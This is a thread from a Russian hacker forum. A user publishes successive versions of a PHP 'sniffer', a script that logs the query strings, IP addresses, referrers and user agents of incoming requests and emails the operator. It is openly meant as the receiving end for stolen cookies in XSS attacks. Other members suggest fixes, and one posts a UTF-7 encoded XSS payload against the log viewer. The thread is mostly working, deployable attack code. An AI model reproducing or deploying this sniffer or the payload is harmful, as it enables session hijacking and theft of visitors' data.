ProTeam Sniffer by Developer aka RUSH

Discussion in 'PHP' started by Developer, 7 May 2006.

  1. Developer

    Developer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    152
    Likes Received:
    25
    Reputations:
    10
    Вот, наконец-то я решил взяться за написание хорошего сниффера. Написал первую версия и вот, выкладываю ее на обозрение.

    Code:
    <?php
    
    // Конфигурация
    $config['file'] = "sniffer.txt"; // Файл, куда будет писаться или считываться информация.
    $config['img']   = "sniffer.gif"; // Путь к изображению для показа относительно самого сниффера. Чтобы отключить эту функцию - впишите 0.
    $config['email'] = "[email protected]"; // E-Mail для отправки уведомлений. Чтобы отключить эту функцию - впишите 0.
    $config['from']  = "[email protected]"; // Адрес, с которого будут отправляться уведомления.
    $config['name']  = "Sniffer: new query"; // Тема письма.
    $config['new']   = "New query at"; // Фраза, вставляемая перед временем запроса.
    
    // Подавляем вывод ошибок
    error_reporting(0);
    
    function index()
    {
        global $config;
        // Проверки на несуществующие или пустые индексы
        if (empty($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] == "unknown") {
            $_SERVER['HTTP_X_FORWARDED_FOR'] = "Hide";
        }
        if (empty($_SERVER['QUERY_STRING'])) {
            $_SERVER['QUERY_STRING'] = "None";
        }
        if (empty($_SERVER['HTTP_REFERER'])) {
            $_SERVER['HTTP_REFERER'] = "Hide";
        }
        // Создание массива
        $info['date'] = date("d.m.Y H:i:s");
        $info['proxy_ip'] = $_SERVER['REMOTE_ADDR'];
        $info['line_ip'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
        $info['referer'] = $_SERVER['HTTP_REFERER'];
        $info['agent'] = $_SERVER['HTTP_USER_AGENT'];
        $info['query'] = urldecode($_SERVER['QUERY_STRING']);
        // Создание строки
        $string = $info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n";
        // Запись строки в файл
        $link = fopen($config['file'], "a");
        fwrite($link, $string);
        fclose($link);
        unset($string, $link);
        // Отправка уведомления на E-Mail
        if (!empty($config['email'])) {
            $script = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
            $text = $config['new']." ".$info['date']."\r\n".$script;
            mail($config['email'], $config['name'], $text, "From: ".$config['from']."\r\n");
            unset($script, $text);
        }
        unset($info);
        // Вывод изображения
        if (!empty($config['img'])) {
            $image = file_get_contents($config['img']);
            header("Content-type: image/gif");
            header("Content-length: ".strlen($image));
            echo $image;
            unset($image);
        }
    }
    
    function view() {
        global $config;
        $file = file($config['file']);
        foreach ($file as $string)
        {
            $array = explode("||", $string);
            foreach ($array as $value)
            {
                echo $value."<br />\n";
            }
        echo "<hr />\n";
        }
    }
    
    if (empty($_GET['mode'])) {
        $_GET['mode'] = "index";
    }
    
    switch ($_GET['mode'])
    {
        case "view":
            view();
            break;
        default:
            index();
            break;
    }
    
    ?>
    Сниффер может посылать уведомление на e-mail, показывать картинку, записывать данные в файл и выводить их.

    В ближайшее время планируется релиз версии 1.1, 1.2 и 2.0.

    В версии 1.1 будет переработана система вывода запросов - будет разработан дизайн.
    В версии 1.2 будет возможность очищать лог сниффера прямой из веб-интерфейса.
    И самая крутая фишка, которая нас ожидает в версии 2.0 - при поступлении запроса, сниффер будет мгновенно отправлять сообщение на ICQ (Я думаю у настоящего хакера эта тузла включена постоянно).

    А сейчас вы можете потестить первую версию и выложить свои мысли по ней :))) Да прибудет с тобой сила, тестер!
     
    #1 Developer, 7 May 2006
    Last edited: 7 May 2006
    1 person likes this.
  2. Developer

    Developer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    152
    Likes Received:
    25
    Reputations:
    10
    Забыл добавить - чтобы посмотреть лог сниффера запустите скрипт с параметром "mode=view".
     
  3. Developer

    Developer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    152
    Likes Received:
    25
    Reputations:
    10
    Так же ваши мысли можете убить в моей репутации *расчитывает на хорошие* :))) Хотя, если мысли плохие - убейте их в том же йогурте!
     
  4. Developer

    Developer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    152
    Likes Received:
    25
    Reputations:
    10
    Свет увидела новая версия моего сниффера :))) Продолжаем отлавливать баги:

    Code:
    <?php
    
    // Конфигурация
    $config['login'] = "login"; // Логин для входа
    $config['password'] = "password"; // Пароль для входа
    $config['file'] = "sniffer.txt"; // Файл, куда будет писаться или считываться информация.
    $config['img'] = "sniffer.gif"; // Путь к изображению для показа относительно самого сниффера. Чтобы отключить эту функцию - впишите 0.
    $config['email'] = "[email protected]"; // E-Mail для отправки уведомлений. Чтобы отключить эту функцию - впишите 0.
    $config['from'] = "[email protected]"; // Адрес, с которого будут отправляться уведомления.
    $config['name'] = "Sniffer: new query"; // Тема письма.
    $config['new'] = "New query at"; // Фраза, вставляемая перед временем запроса.
    
    error_reporting(0);
    
    function auth() {
        header('WWW-Authenticate: Basic realm="ProTeam Sniffer"');
        header('HTTP/1.0 401 Unauthorized');
        die("<br /><br /><div align=\"center\"><b>Не правильный логин или пароль!</b></div>");
    }
    
    function index()
    {
        global $config;
        if (empty($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] == "unknown") {
            $_SERVER['HTTP_X_FORWARDED_FOR'] = "Hide";
        }
        if (empty($_SERVER['QUERY_STRING'])) {
            $_SERVER['QUERY_STRING'] = "None";
        }
        if (empty($_SERVER['HTTP_REFERER'])) {
            $_SERVER['HTTP_REFERER'] = "Hide";
        }
        $info['date'] = date("d.m.Y H:i:s");
        $info['proxy_ip'] = $_SERVER['REMOTE_ADDR'];
        $info['line_ip'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
        $info['referer'] = $_SERVER['HTTP_REFERER'];
        $info['agent'] = $_SERVER['HTTP_USER_AGENT'];
        $info['query'] = urldecode($_SERVER['QUERY_STRING']);
        $string = $info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n";
        $link = fopen($config['file'], "a");
        fwrite($link, $string);
        fclose($link);
        unset($string, $link);
        if (!empty($config['email'])) {
            $script = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
            $text = $config['new']." ".$info['date']."\r\n".$script;
            mail($config['email'], $config['name'], $text, "From: ".$config['from']."\r\n");
            unset($script, $text);
        }
        unset($info);
        if (!empty($config['img'])) {
            $image = file_get_contents($config['img']);
            header("Content-type: image/gif");
            header("Content-length: ".strlen($image));
            echo $image;
            unset($image);
        }
    }
    
    function view()
    {
        global $config;
        $file = file($config['file']);
        if (empty($file[0])) {
            echo "<br />\n";
            echo "<br />\n";
            echo "<br />\n";
            echo "<div align=\"center\"><h3>Запросы отсутствуют.</h3></div>";
            exit;
        }
        krsort($file);
        $file_count = count($file);
        echo "<form name=\"delete\" action=\"".$_SERVER['PHP_SELF']."?mode=delete\" method=\"post\">\n";
        for ($c = 0; $c < $file_count; $c++)
        {
            $array = explode("||", $file[$c]);
            if (strpos($array[5], "&")) {
                $query = explode("&", $array[5]);
                $count = count($query);
                $prev = $count - 1;
                $array[5] = "";
                for ($i = 0; $i < $count; $i++)
                {
                    $array[5] .= $query[$i];
                    if ($i != $prev) {
                        $array[5] .= " <b>//</b> ";
                    }
                }
                unset($query, $count, $prev);
            }
            $str_num = $file_count - $c;
            echo "<fieldset>";
            echo "<table width=\"100%\" border=\"0\">\n";
            echo "<tr>\n";
            echo "<td>Дата:</td>\n";
            echo "<td>".$array[0]."</td>\n";
            echo "<td rowspan=\"6\"><input id=\"del\" name=\"box-".$str_num."\" type=\"checkbox\" value=\"del-".$str_num."\"></td></tr>\n";
            echo "<tr>\n";
            echo "<td>IP-адрес (Proxy):</td>\n";
            echo "<td>".$array[1]."</td></tr>\n";
            echo "<tr>\n";
            echo "<td>IP-адрес (Прямой):</td>\n";
            echo "<td>".$array[2]."</td></tr>\n";
            echo "<tr>\n";
            echo "<td>Реферер:</td>\n";
            echo "<td>".$array[3]."</td></tr>\n";
            echo "<tr>\n";
            echo "<td>Браузер:</td>\n";
            echo "<td>".$array[4]."</td></tr>\n";
            echo "<tr>\n";
            echo "<td>Запрос:</td>\n";
            echo "<td>".rtrim($array[5])."</td></tr>\n";
            echo "</table>\n";
            echo "</fieldset>\n";
            echo "<br />\n";
        }
        echo "<table width=\"100%\" border=\"0\">\n";
        echo "<tr>\n";
        echo "<td align=\"right\"><input type=\"submit\" value=\"Удалить отмеченные\"></td></tr>\n";
        echo "</table>\n";
        echo "</form>\n";
        unset($file, $file_count, $array);
    }
    
    function del()
    {
        global $config;
        $file = file($config['file']);
        foreach ($_POST as $string)
        {
            $array = explode("-", $string);
            if ($array[0] == "del") {
                unset($file[$array[1] - 1]);
            }
        }
        unset($array);
        $string = "";
        foreach ($file as $str)
        {
            $string .= $str;
        }
        $link = fopen($config['file'], "w");
        fwrite($link, $string);
        fclose($link);
        header("Location: ".$_SERVER['PHP_SELF']."?mode=view");
    }
    
    if (empty($_GET['mode'])) {
        $_GET['mode'] = "index";
    } else {
        if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) auth();
        if (!($_SERVER['PHP_AUTH_USER'] == $config['login'] && $_SERVER['PHP_AUTH_PW'] == $config['password'])) auth();
    }
    
    switch ($_GET['mode'])
    {
        case "view":
            view();
            break;
        case "delete":
            del();
            break;
        default:
            index();
            break;
    }
    
    ?>
     
    #4 Developer, 8 May 2006
    Last edited: 8 May 2006
  5. Developer

    Developer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    152
    Likes Received:
    25
    Reputations:
    10
    Краткий список возможностей:

    + Вывод картинки в буфер
    + Запись всех данных, которые возможно получить
    + Обработка запроса и вывод "В красивом виде" (Запрос разделяется через &)
    + Возможность поставить логин/пароль для просмотра лога через веб-интерфейс
    + Удаление записей прямо из веб-интерфейса
    + Посылка уведомлений на e-mail (Хорошо использовать в связке с Mail-Agent)
    + Небольшой размер
    + Не напрягающий глаз интерфейс
    + Все в одном файле
     
  6. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    а дай какие-нить превью чтоли. а то уж больно впадлу у себя тестить =) или хотя бы скрины какие
     
    _________________________
  7. Developer

    Developer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    152
    Likes Received:
    25
    Reputations:
    10
    http://proteam.com.ru/image.gif - Снифер
    http://proteam.com.ru/sniffer.php - Снифер

    http://proteam.com.ru/sniffer.php?mode=view - Админка (Логин: login // Пароль: password)

    ЗЫ: Думаю ставить навороты, как в снифере каньяка или нет. Вроде бы зачем хакеру всякие дизайны, фильтры и т.д. чтобы прочитать одну строчку с запросом - а с другой стороны ХЗ. Вот, хочу ICQ чтоыб отправляло, это да :)
     
  8. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    Фильтры

    Прикольный снифер, но рас ты решил сделать вэб интерфейс, то хоть какие небудь фильтры поставь
    PHP:
    $query =~ s/</&lt;/g# это правдо на перле
    ато я зашол посмотрель лог изнутри, а там скриптов море, хорошо что они у меня отключены.
     
  9. Developer

    Developer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    152
    Likes Received:
    25
    Reputations:
    10
    hidden, да уж... Не пропалил я возможность вставки скриптов в лог :))) В общем, решение:

    Code:
    $string = $info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n";
    Меняем на:

    Code:
    $string = htmlspecialchars($info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n");
     
  10. Developer

    Developer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    152
    Likes Received:
    25
    Reputations:
    10
    Всем, кто будет находить баги, буду ставить + :)
     
  11. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    +ADw-script+AD4-tx+AD0-/xss/+ADs-alert(tx.source)+ADsAPA-/script+AD4-
    Это может сработать, если русский уберешь.
    http://antichat.ru/txt/utf7/
     
  12. Developer

    Developer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    152
    Likes Received:
    25
    Reputations:
    10
    hidden, как понять??? Как защититься от этого, что фильтровать? Первый раз вижу такой метод взлома :)))
     
  13. Developer

    Developer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    152
    Likes Received:
    25
    Reputations:
    10
    Кстати, может кто подскажет, как сделать, чтобы при нажатии на кнопку отмечались все чекбоксы на странице (JavaScript).
     
  14. ferryman

    ferryman Elder - Старейшина

    Joined:
    13 Feb 2006
    Messages:
    88
    Likes Received:
    8
    Reputations:
    5
    Держи

    Code:
    function check_msg(obj,val)
                      {
                      var obj_len=obj.length;
                      for (i=0; i<obj_len; i++) {
                      if(obj.elements[i].type=='checkbox') {
                      obj.elements[i].checked=val;
                                      }
                              }
                      }
    
    <input name=set type=checkbox onClick="check_msg(this.form,this.checked);" style="cursor:hand;width:8pt" title="Отметить все">
    while(array){
    <input name="uid[]" type=checkbox value="" style="cursor:hand;width:8pt">
    }
    
     
    #14 ferryman, 10 May 2006
    Last edited: 10 May 2006
    1 person likes this.
  15. Developer

    Developer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    152
    Likes Received:
    25
    Reputations:
    10
    Хм, спасибо, попробую...
     
  16. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    Если спрашуешь значит статью Algolа не прочитал.
     
  17. Developer

    Developer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    152
    Likes Received:
    25
    Reputations:
    10
    Сниффер был немного доработан и добавлена функция "Удалить все", но пока что она никому не доступна :)))

    Исходники выложу, когда сниффер пройдет тестирование. Итак, хакеры, GO ломать сниффер :)))
    http://proteam.com.ru/sniffer.php
    http://proteam.com.ru/sniffer.php?mode=view [ Login: login // Password: password ]
     
    1 person likes this.
  18. Developer

    Developer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    152
    Likes Received:
    25
    Reputations:
    10
    Я думаю, что с исходниками баг найти будет намного легче :))) Итак, самая последняя версия сниффера:

    Code:
    <?php
    
    // Конфигурация
    $config['login'] = "login"; // Логин для входа
    $config['password'] = "password"; // Пароль для входа
    $config['file'] = "sniffer.txt"; // Файл, куда будет писаться или считываться информация.
    $config['img'] = "sniffer.gif"; // Путь к изображению для показа относительно самого сниффера. Чтобы отключить эту функцию - впишите 0.
    //$config['email'] = "[email protected]"; // E-Mail для отправки уведомлений. Чтобы отключить эту функцию - впишите 0.
    $config['from'] = "[email protected]"; // Адрес, с которого будут отправляться уведомления.
    $config['name'] = "Sniffer: new query"; // Тема письма.
    $config['new'] = "New query at"; // Фраза, вставляемая перед временем запроса.
    
    error_reporting(0);
    
    function auth() {
        header('WWW-Authenticate: Basic realm="ProTeam Sniffer"');
        header('HTTP/1.0 401 Unauthorized');
        die("<br /><br /><div align=\"center\"><b>Не правильный логин или пароль!</b></div>");
    }
    
    function index()
    {
        global $config;
        if (empty($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] == "unknown") {
            $_SERVER['HTTP_X_FORWARDED_FOR'] = "Hide";
        }
        if (empty($_SERVER['HTTP_REFERER'])) {
            $_SERVER['HTTP_REFERER'] = "Hide";
        }
        if (empty($_SERVER['USER_AGENT'])) {
            $_SERVER['USER_AGENT'] = "Hide";
        }
        if (empty($_SERVER['QUERY_STRING'])) {
            $_SERVER['QUERY_STRING'] = "None";
        }
        $info['date'] = date("d.m.Y H:i:s");
        $info['proxy_ip'] = $_SERVER['REMOTE_ADDR'];
        $info['line_ip'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
        $info['referer'] = $_SERVER['HTTP_REFERER'];
        $info['agent'] = $_SERVER['HTTP_USER_AGENT'];
        $info['query'] = urldecode($_SERVER['QUERY_STRING']);
        $string = htmlspecialchars($info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."||\n");
        $link = fopen($config['file'], "a");
        flock($link, LOCK_EX);
        fwrite($link, $string);
        flock($link, LOCK_UN);
        fclose($link);
        unset($string, $link);
        if (!empty($config['email'])) {
            $script = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
            $text = $config['new']." ".$info['date']."\r\n".$script;
            mail($config['email'], $config['name'], $text, "From: ".$config['from']."\r\n");
            unset($script, $text);
        }
        unset($info);
        if (!empty($config['img'])) {
            $image = file_get_contents($config['img']);
            header("Content-type: image/gif");
            echo $image;
            unset($image);
        }
    }
    
    function view()
    {
        global $config;
        echo "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n";
        echo "<html>\n";
        echo "<head>\n";
        echo "<meta http-equiv=\"content-type\" content=\"text/html; charset=windows-1251\">\n";
        echo "<meta http-equiv=\"expires\" content=\"0\">\n";
        echo "<title>ProTeam Sniffer</title>\n";
        echo "</head>\n";
        echo "<body>\n";
        $file = file($config['file']);
        if (empty($file[0])) {
            echo "<br />\n";
            echo "<br />\n";
            echo "<br />\n";
            echo "<div align=\"center\"><h3>Запросы отсутствуют.</h3></div>\n";
            echo "</body>\n";
            echo "</html>";
            exit;
        }
        $file_count = count($file);
        echo "<form name=\"delete\" action=\"".$_SERVER['PHP_SELF']."?mode=delete\" method=\"post\">\n";
        for ($c = 0; $c < $file_count; $c++)
        {
            $str_num = $file_count - $c;
            $array = explode("||", $file[$str_num - 1]);
            $array[6] = str_replace(";", "<br />\n", $array[6]);
            echo "<fieldset>";
            echo "<table width=\"100%\" border=\"0\">\n";
            echo "<tr>\n";
            echo "<td width=\"175\">Дата:</td>\n";
            echo "<td>".$array[0]."</td>\n";
            echo "<td rowspan=\"7\" width=\"20\" align=\"right\"><input name=\"del\" type=\"checkbox\" value=\"del-".$str_num."\"></td></tr>\n";
            echo "<tr>\n";
            echo "<td>IP-адрес (Proxy):</td>\n";
            echo "<td>".$array[1]."</td></tr>\n";
            echo "<tr>\n";
            echo "<td>IP-адрес (Прямой):</td>\n";
            echo "<td>".$array[2]."</td></tr>\n";
            echo "<tr>\n";
            echo "<td>Реферер:</td>\n";
            echo "<td>".$array[3]."</td></tr>\n";
            echo "<tr>\n";
            echo "<td>Браузер:</td>\n";
            echo "<td>".$array[4]."</td></tr>\n";
            echo "<tr>\n";
            echo "<td>Запрос:</td>\n";
            echo "<td>".$array[5]."</td></tr>\n";
            echo "</table>\n";
            echo "</fieldset>\n";
            echo "<br />\n";
        }
        echo "<table width=\"100%\" border=\"0\">\n";
        echo "<tr>\n";
        echo "<td align=\"right\"><input type=\"submit\" value=\"Удалить отмеченные\"></td></tr>\n";
        echo "</table>\n";
        echo "</form>\n";
        echo "</body>\n";
        echo "</html>";
        unset($file, $file_count, $str_num, $array);
    }
    
    function del()
    {
        global $config;
        if (!empty($_GET['all']) && $_GET['all'] == 1) {
            $link = fopen($config['file'], "w");
            fclose($link);
        } else {
            $file = file($config['file']);
            foreach ($_POST as $string)
            {
                $array = explode("-", $string);
                if ($array[0] == "del") {
                    unset($file[$array[1] - 1]);
                }
            }
            unset($array);
            $string = "";
            foreach ($file as $str)
            {
                $string .= $str;
            }
            $link = fopen($config['file'], "w");
            flock($link, LOCK_EX);
            fwrite($link, $string);
            flock($link, LOCK_UN);
            fclose($link);
            unset($file, $string);
        }
        unset($link);
        header("Location: ".$_SERVER['PHP_SELF']."?mode=view");
    }
    
    if (empty($_GET['mode'])) {
        $_GET['mode'] = "index";
    } else {
        if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) auth();
        if (!($_SERVER['PHP_AUTH_USER'] == $config['login'] && $_SERVER['PHP_AUTH_PW'] == $config['password'])) auth();
    }
    
    switch ($_GET['mode'])
    {
        case "view":
            view();
            break;
        case "delete":
            del();
            break;
        default:
            index();
            break;
    }
    
    ?>
    Ваши замечания, предложения, идеи прошу выкладывать в этом топике, за дельные посты буду ставить + :)))
     
    1 person likes this.
  19. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    файл

    Больше ничего найти не смог, кроме что только файл лучше распологать в недоступном дня вэба месте, но я думаю он там только на время тестирования, хотя кто может узнать его имя.
     
  20. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    Может не самое подходящее место, но ты говорил про отсылку сообщений на Icq, не поденишся скриптом или хотябы источником, как это делать?